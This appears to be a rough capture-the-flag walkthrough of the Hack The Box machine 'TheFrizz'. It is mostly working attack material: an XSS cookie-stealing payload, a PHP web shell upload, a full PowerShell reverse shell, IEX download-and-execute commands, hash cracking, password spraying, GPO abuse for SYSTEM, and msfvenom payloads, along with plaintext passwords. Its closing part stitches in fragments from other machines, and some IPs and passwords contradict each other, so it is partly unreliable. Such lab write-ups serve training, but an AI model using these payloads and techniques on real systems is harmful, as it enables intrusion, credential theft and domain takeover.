htb-thefrizz

htb-thefrizz


Reconnaissance and Enumeration

Port Scanning

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ nmap -sC -sV 10000 10.10.11.60 -oN thefrizz.nmap     
Starting Nmap 7.93 ( https://nmap.org ) at 2025-03-19 09:53 CET
Nmap scan report for 10.10.11.60
Host is up (0.0089s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-03-19 15:54:08Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-03-19T15:54:09
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 52.93 seconds

 



http://frizzdc.frizz.htb/Gibbon-LMS/?q=gibbon.sql
CVE-2024-24725 – https://www.exploit-db.com/exploits/51903.
Should find credentials for Gibbon LMS.
curl -X POST “http://frizzdc.frizz.htb/Gibbon-LMS/modules/Planner/resources_addQuick_ajaxProcess.php” \
-F “id=body” \
-F “bodyfile1=@l.jpg;filename=<img src=x onerror=new Image().src='<redacted>?cookie=’+document.cookie>.jpg” \
-F “imagesAsLinks=Y”

File upload
https://herolab.usd.de/security-advisories/usd-2023-0025/

C:\xampp\htdocs\gibbon-lms> type config.php

$databaseServer = ‘localhost’;
$databaseUsername = ‘MrGibbonsDB’;
$databasePassword = ‘MisterGibbs!Parrot!?1’;
$databaseName = ‘gibbon’;

PS C:\xampp\htdocs\gibbon-lms> netstat -an | FINDSTR 3306
netstat -an | FINDSTR 3306
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING
  TCP    [::]:3306              [::]:0                 LISTENING
  UDP    [::]:63306             *:*                    

 

Upload a web shell

curl -X POST “http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php” \
-H “Host: frizzdc.frizz.htb” \
–data-urlencode “img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K” \
–data-urlencode “path=shell.php” \
–data-urlencode “gibbonPersonID=0000000001”

Then generate a reverse shell with your IP and PORT on revshells.com using the PowerShell #3 (base64) option.

Then go to
http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=[Insert base64 encoded reverse shell]

Remember to listen to the port you declared on revshells.com.

nc -lvnp XXX


1st

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
-H "Host: frizzdc.frizz.htb" \
--data-urlencode "img=image/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4K" \
--data-urlencode "path=shell.php" \
--data-urlencode "gibbonPersonID=0000000001"
shell.php                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]

 

then

http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=whoami

frizz\w.webservice frizz\w.webservice

http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=net user

User accounts for \\FRIZZDC ——————————————————————————- a.perlstein Administrator c.ramon c.sandiego d.hudson f.frizzle g.frizzle Guest h.arm J.perlstein k.franklin krbtgt l.awesome m.ramon M.SchoolBus p.terese r.tennelli t.wright v.frizzle w.li w.Webservice The command completed successfully.

next

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ cat puckshell.txt                            
function cleanup {
if ($client.Connected -eq $true) {$client.Close()}
if ($process.ExitCode -ne $null) {$process.Close()}
exit}
// Setup IPADDR
$address = '10.10.14.3'
// Setup PORT
$port = '443'
$client = New-Object system.net.sockets.tcpclient
$client.connect($address,$port)
$stream = $client.GetStream()
$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize
$process = New-Object System.Diagnostics.Process
$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'
$process.StartInfo.RedirectStandardInput = 1
$process.StartInfo.RedirectStandardOutput = 1
$process.StartInfo.UseShellExecute = 0
$process.Start()
$inputstream = $process.StandardInput
$outputstream = $process.StandardOutput
Start-Sleep 1
$encoding = new-object System.Text.AsciiEncoding
while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}
$stream.Write($encoding.GetBytes($out),0,$out.Length)
$out = $null; $done = $false; $testing = 0;
while (-not $done) {
if ($client.Connected -ne $true) {cleanup}
$pos = 0; $i = 1
while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {
$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos)
$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}
if ($pos -gt 0) {
$string = $encoding.GetString($networkbuffer,0,$pos)
$inputstream.write($string)
start-sleep 1
if ($process.ExitCode -ne $null) {cleanup}
else {
$out = $encoding.GetString($outputstream.Read())
while($outputstream.Peek() -ne -1){
$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}}
$stream.Write($encoding.GetBytes($out),0,$out.length)
$out = $null
$string = $null}} else {cleanup}}
                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]

 

cmd.exe /c powershell -c IEX(New-Object Net.WebClient).DownloadString(‘http://10.10.14.3:8000/puckshell.txt’);

http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?cmd=cmd.exe /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.3:8000/puckshell.txt');

.

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ python3 -m http.server 8000                  
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.60 - - [19/Mar/2025 11:38:32] "GET /puckshell.txt HTTP/1.1" 200 -
10.10.11.60 - - [19/Mar/2025 11:39:29] "GET /puckshell.txt HTTP/1.1" 200 -

and a shell

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ rlwrap nc -nlvp 443 
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.60] 51111
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\Gibbon-LMS>whoami
frizz\w.webservice

C:\xampp\htdocs\Gibbon-LMS>

.

User:

Now, we can collect AD information as w.webservice , which is a domain user.

Upload SharpBound.exe to the machine and start collecting domain info.

# download SharpHound to the target
> certutil -urlcache -f http://10.10.14.3:8000/SharpHound.exe SharpHound.exe

# run SharpHound
> SharpHound.exe -c All 

# send the result back
nc64.exe 10.10.14.3 5555 < 20241218170837_BloodHound.zip

> nc -nlvp 5555 > output.zip

or we use

serving smb

# impacket-smbserver -smb2support share . -user puck -pass puckpuck

on client

c:\temp>net use \\10.10.14.3\share /u:puck puckpuck
net use \\10.10.14.10\share /u:puck puckpuck
The command completed successfully.

c:\temp>copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
copy 20241218170837_BloodHound.zip \\10.10.14.10\share\
1 file(s) copied.


User.

1st we need t find f.frizzle’s hash

c:\xampp\mysql\bin>whoami
frizz\w.webservice

c:\xampp\mysql\bin>mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "show databases;"
gibbon
information_schema
test

c:\xampp\mysql\bin>mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "use gibbon;select * from gibbonperson;",
0000000001	Ms.	Frizzle	Fiona	Fiona	Fiona Frizzle		Unspecified	f.frizzle	067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03	/aACFhikmNopqrRTVz2489	N	Full	Y	001	001	NULL	f.frizzle@frizz.htb	NULL	NULL	::1	2024-10-29 09:28:59	NULL	NULL	0						NULL		NULL	NULL	NULL							Y	YN	NULL				NULL	NULL	NULL	NULL	NULL	NULL		YNULL	NULL	NULL	

c:\xampp\mysql\bin>

and then crack it with:

hashcat -m 1420 ffrizzlehash.txt /usr/share/wordlists/rockyou.txt

.

──(puck㉿kali)-[~/htb/thefrizz]
└─$ impacket-getTGT frizz.htb/f.frizzle
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:Jenni_Luvs_Magic23
[*] Saving ticket in f.frizzle.ccache
                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ export KRB5CCNAME=f.frizzle.ccache                          
                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ klist
Ticket cache: FILE:f.frizzle.ccache
Default principal: f.frizzle@FRIZZ.HTB

Valid starting       Expires              Service principal
03/19/2025 23:11:22  03/20/2025 09:11:22  krbtgt/FRIZZ.HTB@FRIZZ.HTB
    renew until 03/20/2025 23:11:22
                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]

 

then ssh f.frizzle@10.10.11.60

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ ssh f.frizzle@10.10.11.60
The authenticity of host '10.10.11.60 (10.10.11.60)' can't be established.
ED25519 key fingerprint is SHA256:667C2ZBnjXAV13iEeKUgKhu6w5axMrhU346z2L2OE7g.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:46: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.60' (ED25519) to the list of known hosts.
f.frizzle@10.10.11.60: Permission denied (gssapi-with-mic,keyboard-interactive).
                                                                                                                     
┌──(puck㉿kali)-[~/htb/thefrizz]

 

tried with

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ impacket-getTGT frizz.htb/m.schoolbus                                   
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password: !suBcig@MehTed!R
[*] Saving ticket in m.schoolbus.ccache
                                                                                                                                          
┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ export KRB5CCNAME=m.schoolbus.ccache 
                                                                                                                                          
┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ klist
Ticket cache: FILE:m.schoolbus.ccache
Default principal: m.schoolbus@FRIZZ.HTB

Valid starting       Expires              Service principal
03/19/2025 23:20:07  03/20/2025 09:20:07  krbtgt/FRIZZ.HTB@FRIZZ.HTB
    renew until 03/20/2025 23:20:07
                                                                                                                                          
┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ ssh m.schoolbus@10.10.11.60 
m.schoolbus@10.10.11.60: Permission denied (gssapi-with-mic,keyboard-interactive).
                                                                                                                                          
┌──(puck㉿kali)-[~/htb/thefrizz]

.

 

f.frizzle:Jenni_Luvs_Magic23
m.schoolbus:!suBcig@MehTed!R

after having ccache from m.schoolbus, connect via SSH and abuse GPO with:

#add new GPO
New-GPO -Name “doesnotmatter”

#add newlink to domain controllers
New-GPLink -Name “doesnotmatter” -Target “OU=Domain Controllers,DC=frizz,DC=htb”

#add m.schoolbus to localadmin group
.\SharpGPOAbuse.exe –AddLocalAdmin –UserAccount M.SchoolBus –GPOName doesnotmatter

#force group policy update
gpupdate /force

#send yourself a revshell with admin rights:
.\RunasC.exe “M.SchoolBus” ‘!suBcig@MehTed!R’ powershell.exe -r 10.10.14.7:9001

the transfer of runasc and sharpgpoabuse is up to you

krb5.conf

[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
proxiable = true

[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
default_domain = frizz.htb
}

[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB

sudo ntpdate 10.10.11.60

getTGT.py frizz.htb/f.frizzle

export KRB5CCNAME=f.frizzle.ccache

ssh f.frizzle@10.10.11.60

This work for me

i did everything right. still this error . hate this machine ..

Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Unspecified GSS failure. Minor code may provide more information

It should work, when you ssh, try to use: ssh -o GSSAPITrustDNS=no -o GSSAPIAuthentication=yes f.frizzle@frizz.htb

It may also help to have /etc/hosts like this:

10.10.11.60 frizzdc.frizz.htb frizz.htb

So having the DC name as first entry.
This resolved some rDNS issues for me.

 

For me worked

Before logging in set config ssh first to allow kerberos authentication to succeed by modifying the file /etc/ssh/ssh_config and allow some options

   GSSAPIAuthentication yes
   GSSAPIDelegateCredentials yes
   GSSAPIKeyExchange yes
   GSSAPITrustDNS yes

and for SSH login we need to export the kerberos file ccache

 

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ ssh -K f.frizzle@10.10.11.60 

PowerShell 7.4.5
PS C:\Users\f.frizzle> 
PS C:\Users\f.frizzle> whoami
frizz\f.frizzle
PS C:\Users\f.frizzle> cd desktop
PS C:\Users\f.frizzle\Desktop> dir

    Directory: C:\Users\f.frizzle\Desktop

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar--            4/9/2025  7:38 AM             34 user.txt

PS C:\Users\f.frizzle\Desktop> type user.txt
a7a925069533cab461043a66ff7ff57c
PS C:\Users\f.frizzle\Desktop> 

.

privesc from f,frizz to higher

PS C:\ProgramData> whoami
frizz\f.frizzle
PS C:\ProgramData> (New-Object -ComObject Shell.Application).NameSpace(0x0a).Items()


Application  : System.__ComObject
Parent       : System.__ComObject
Name         : wapt-backup-sunday.7z
Path         : C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z
GetLink      :
GetFolder    :
IsLink       : False
IsFolder     : False
IsFileSystem : True
IsBrowsable  : False
ModifyDate   : 10/24/2024 9:16:29 PM
Size         : 30416987
Type         : 7Z File



PS C:\ProgramData>

The above powershell command is to view files after they have been deleted from the recycle bin and there is a file named wapt-backup-sunday.7z, just do a restore

//ambil path
$pathFile = (New-Object -ComObject Shell.Application).NameSpace(0x0a).Items() | Select -ExpandProperty Path

//copy 
Copy-Item $pathFile ./


PS C:\ProgramData> whoami
frizz\f.frizzle
PS C:\ProgramData> (New-Object -ComObject Shell.Application).NameSpace(0x0a).Items()


Application  : System.__ComObject
Parent       : System.__ComObject
Name         : wapt-backup-sunday.7z
Path         : C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z
GetLink      :
GetFolder    :
IsLink       : False
IsFolder     : False
IsFileSystem : True
IsBrowsable  : False
ModifyDate   : 10/24/2024 9:16:29 PM
Size         : 30416987
Type         : 7Z File



PS C:\ProgramData> $pathFile = (New-Object -ComObject Shell.Application).NameSpace(0x0a).Items() | Select -ExpandProperty Path
PS C:\ProgramData> Copy-Item $pathFile ./
PS C:\ProgramData> ls


    Directory: C:\ProgramData


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-          5/8/2021   1:27 AM                Microsoft
d-----         2/20/2025   2:50 PM                Package Cache
d-----         2/26/2025   8:05 AM                regid.1991-06.com.microsoft
d-----          5/8/2021   1:15 AM                SoftwareDistribution
d-----         3/17/2025   4:12 PM                ssh
d-----        10/29/2024   7:15 AM                USOPrivate
d-----          5/8/2021   1:15 AM                USOShared
d-----         2/20/2025   2:50 PM                VMware
-a----        10/24/2024   9:16 PM       30416987 $RE2XMEG.7z
-a----         4/10/2025   9:23 AM              6 1.txt
-a----         4/10/2025   6:54 AM          12447 20250410065420_BloodHound.zip
-a----         4/10/2025   7:50 AM          12644 20250410075037_output.zip
-a----         4/10/2025   6:54 AM          10410 MzY2OGI0YzgtYjEwMy00ZDZmLThhNzAtNmI4ZDI0NjQ1YmNj.bin
-a----         4/10/2025   6:53 AM        1046528 SharpHound.exe


PS C:\ProgramData>

Just go back to using SCP to download from the target server to local.

scp f.frizzle@frizz.htb:'./$RE2XMEG.7z' ./

//lalu extract
7za x -y '$RE2XMEG.7z' -o/home/kali/ctf/htb/frizz/unarchive

--
i used python3 -m uploadserver  ( and then netcat to transfer the file to my kali box )

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ python3 -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.60 - - [10/Apr/2025 19:43:05] "GET /nc64.exe HTTP/1.1" 200 -

then

PS C:\ProgramData> curl http://10.10.14.13:8000/nc64.exe -outfile nc64.exe

then

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ nc -nlvp 9001 > RE2XMEG.7z 
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.60] 55918


PS C:\ProgramData> cmd
Microsoft Windows [Version 10.0.20348.3207]
(c) Microsoft Corporation. All rights reserved.

frizz\f.frizzle@FRIZZDC C:\ProgramData>nc64.exe 10.10.14.13 9001 < $RE2XMEG.7z

.

then extract

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ 7za x -y 'RE2XMEG.7z' -o/home/puck/htb/thefrizz/unarchive 

7-Zip (a) 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 30416987 bytes (30 MiB)

Extracting archive: RE2XMEG.7z
--
Path = RE2XMEG.7z
Type = 7z
Physical Size = 30416987
Headers Size = 65880
Method = ARM64 LZMA2:26 LZMA:20 BCJ2
Solid = +
Blocks = 3

Everything is Ok                                                                     

Folders: 684
Files: 5384
Size:       141187501
Compressed: 30416987
                                                                                               
┌──(puck㉿kali)-[~/htb/thefrizz]

.

┌──(puck㉿kali)-[~/…/thefrizz/unarchive/wapt/conf]
└─$ ls
ca-192.168.120.158.crt  forward_ssl_auth.conf  uwsgi_params    waptserver.ini.template
ca-192.168.120.158.pem  require_ssl_auth.conf  waptserver.ini
                                                                                               
┌──(puck㉿kali)-[~/…/thefrizz/unarchive/wapt/conf]
└─$ grep -rl "password" ./         
./waptserver.ini
./waptserver.ini.template
                                                                                            
┌──(puck㉿kali)-[~/…/thefrizz/unarchive/wapt/conf]
└─$ cat waptserver.ini | grep password
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
                                                                                               
┌──(puck㉿kali)-[~/…/thefrizz/unarchive/wapt/conf]
└─$ 

 

And you can see that the extract or decompression results are numerous, and after filtering using grep and a little analysis, a password was found encoded in base64 in the file ./conf/waptserver.ini

┌──(puck㉿kali)-[~/…/thefrizz/unarchive/wapt/conf]
└─$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d
!suBcig@MehTed!R

.

Next passwordpray this pasword to the userlist

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ ./kerbrute_linux_amd64  passwordspray -d frizz.htb --dc 10.10.11.60 user.txt '!suBcig@MehTed!R'

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 04/10/25 - Ronnie Flathers @ropnop

2025/04/10 21:06:35 >  Using KDC(s):
2025/04/10 21:06:35 >  	10.10.11.60:88

2025/04/10 21:06:35 >  [+] VALID LOGIN:	 M.SchoolBus@frizz.htb:!suBcig@MehTed!R
2025/04/10 21:06:35 >  Done! Tested 20 logins (1 successes) in 0.112 seconds

It finds that pasword beongs to : M.SchoolBus@frizz.htb:!suBcig@MehTed!R

 

.



.

.


 

GPO privesc

BloodHound shows:

 

PS C:\ProgramData> New-GPO -Name "pGPO"
New-GPO -Name "pGPO"


DisplayName      : pGPO
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : d3835771-8a10-49c8-bd80-99e1f6d437d5
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 4/9/2025 8:50:34 AM
ModificationTime : 4/9/2025 8:50:34 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        : 



PS C:\ProgramData> New-GPLink -Name "pGPO" -Target "OU=Domain Controllers,DC=frizz,DC=htb"  
New-GPLink -Name "pGPO" -Target "OU=Domain Controllers,DC=frizz,DC=htb"  


GpoId       : d3835771-8a10-49c8-bd80-99e1f6d437d5
DisplayName : pGPO
Enabled     : True
Enforced    : False
Target      : OU=Domain Controllers,DC=frizz,DC=htb
Order       : 2



PS C:\ProgramData> Get-GPO -All
Get-GPO -All


DisplayName      : Default Domain Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 2, SysVol Version: 2
WmiFilter        : 

DisplayName      : Default Domain Controllers Policy
DomainName       : frizz.htb
Owner            : frizz\Domain Admins
Id               : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 1, SysVol Version: 1
WmiFilter        : 

DisplayName      : pGPO
DomainName       : frizz.htb
Owner            : frizz\M.SchoolBus
Id               : d3835771-8a10-49c8-bd80-99e1f6d437d5
GpoStatus        : AllSettingsEnabled
Description      : 
CreationTime     : 4/9/2025 8:50:34 AM
ModificationTime : 4/9/2025 8:50:34 AM
UserVersion      : AD Version: 0, SysVol Version: 0
ComputerVersion  : AD Version: 0, SysVol Version: 0
WmiFilter        : 


PS C:\ProgramData> .\gpo.exe --AddComputerTask --TaskName "privesc" --Author administrator --Command "cmd.exe" --Arguments "/c C:\programdata\rcat_10.10.14.13_9001.exe" --GPOName "pGPO" --Force 
.\gpo.exe --AddComputerTask --TaskName "privesc" --Author administrator --Command "cmd.exe" --Arguments "/c C:\programdata\rcat_10.10.14.13_9001.exe" --GPOName "pGPO" --Force 
[+] Domain = frizz.htb
[+] Domain Controller = frizzdc.frizz.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
[+] GUID of "pGPO" is: {D3835771-8A10-49C8-BD80-99E1F6D437D5}
[+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{D3835771-8A10-49C8-BD80-99E1F6D437D5}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
PS C:\ProgramData> gpupdate /force
gpupdate /force
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.

PS C:\ProgramData> 

.

Giving a shell

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ rlwrap nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.60] 57317
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> hostname
hostname
frizzdc
PS C:\Windows\system32> 

 

.


.

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=1337 -f exe > shell2.exe 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200774 bytes
Final size of exe file: 207360 bytes

 

.

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ msfconsole -qx "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.14.3; set LPORT 1337; run"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
LHOST => 10.10.14.3
LPORT => 1337
[*] Started reverse TCP handler on 10.10.14.3:1337 
[*] Sending stage (175686 bytes) to 10.10.11.60
[*] Meterpreter session 1 opened (10.10.14.3:1337 -> 10.10.11.60:60582) at 2025-03-20 17:57:20 +0100

meterpreter > getuid
Server username: frizz\w.Webservice
meterpreter >

.

*Evil-WinRM* PS C:\programdata> $SecPassword = ConvertTo-SecureString 'Jenni_Luvs_Magic23!' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> $Cred = New-Object System.Management.Automation.PSCredential('frizzle.htb\f.frizzle', $SecPassword)

┌──(puck㉿kali)-[~/htb/thefrizz]
└─$ cat getshell.ps1 
$username = 'FRIZZ\f.frizzle'
$password = 'Jenni_Luvs_Magic23!'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$securePassword
New-PSSession -Credential $credential | Enter-PSSession

┌──(puck㉿kali)-[~/htb/thefrizz]

.

PS C:\programdata> .\RunasCs.exe puck 'Start123!' -l 8 "rcat_10.10.14.3_443.exe"
.\RunasCs.exe puck 'Start123!' -l 8 "rcat_10.10.14.3_443.exe"
[*] Warning: User profile directory for user puck does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The function CreateProcessWithLogonW is not compatible with the requested logon type '8'. Reverting to the Interactive logon type '2'. To force a specific logon type, use the flag combination --remote-impersonation and --logon-type.
[*] Warning: The logon for user 'puck' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
.
┌──(puck㉿kali)-[~/htb/absolute]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.181] 64601
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
absolute\puck

.

nog proberen

RunasCs

The RunasCs project aims to create a binary like runas.exe but without limitations:

  • Allows explicit credentials
  • Works both if spawned from interactive process and from service process
  • Manage properly DACL for Window Stations and Desktop for the creation of the new process
  • Uses more reliable create process functions like CreateProcessAsUser() and CreateProcessWithTokenW() if the calling process holds the required privileges (automatic detection)
  • Allows to specify the logon type, e.g. 8-NetworkCleartext logon (no UAC limitations)
  • Allows to bypass UAC when an administrator password is known (flag –bypass-uac)
  • Allows redirecting stdin, stdout and stderr to a remote host
  • It’s Open Source 🙂

It’s from one of the authors of the Potato exploits, and a really nice tool to have.

I’ll download the latest release, host it with a Python web server, and upload it to Flight:

C:\ProgramData>powershell -c wget 10.10.14.3:8000/RunasCs.exe -outfile r.exe

Now I’ll invoke a cmd.exe as C.Bun using -r to redirect STDIN/STDOUT to my host:

C:\ProgramData>r.exe m.schoolbus !suBcig@MehTed!R -r 10.10.14.3:443 cmd
[*] Warning: Using function CreateProcessWithLogonW is not compatible with logon type 8. Reverting to logon type Interactive (2)...
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-5ea78$\Default
[+] Async process 'cmd' with pid 4508 created and left in background.

C:\ProgramData>

With nc listening on my box, there’s a connection:

┌──(puck㉿kali)-[~/htb/flight]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.187] 50043
Microsoft Windows [Version 10.0.17763.2989]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
flight\c.bum

C:\Windows\system32>

 

I can now get user.txt:

 


Beyond root : Cleanup script

PS C:\users\Administrator\Desktop> type cleanup.ps1
type cleanup.ps1
get-gpo -all|where {$_.Owner -ne "frizz\Domain Admins"}|%{write-host "removing gpo $($_.displayname)";$_|remove-gpo}

$names=@(
'i18n',
'installer',
'lib',
'modules',
'resources',
'src',
'themes',
'uploads',
'vendor',
'.htaccess',
'CHANGEDB.php',
'CHANGELOG.txt',
'composer.json',
'composer.lock',
'config.php',
'error.php',
'export.php',
'favicon.ico',
'fullscreen.php',
'functions.php',
'gibbon.php',
'gibbon.sql',
'gibbon_demo.sql',
'index.php',
'indexExport.php',
'indexFindRedirect.php',
'index_fastFinder_ajax.php',
'index_notification_ajax.php',
'index_notification_ajax_alarm.php',
'index_notification_ajax_alarmConfirmProcess.php',
'index_notification_ajax_alarmProcess.php',
'index_notification_ajax_alarm_tickUpdate.php',
'index_parentPhotoDeleteProcess.php',
'index_parentPhotoUploadProcess.php',
'index_tt_ajax.php',
'keepAlive.php',
'LICENSE',
'login.php',
'logout.php',
'notifications.php',
'notificationsActionProcess.php',
'notificationsDeleteAllProcess.php',
'notificationsDeleteProcess.php',
'passwordReset.php',
'passwordResetProcess.php',
'preferences.php',
'preferencesPasswordProcess.php',
'preferencesProcess.php',
'privacyPolicy.php',
'publicRegistration.php',
'publicRegistrationCheck.php',
'publicRegistrationProcess.php',
'README.md',
'report.php',
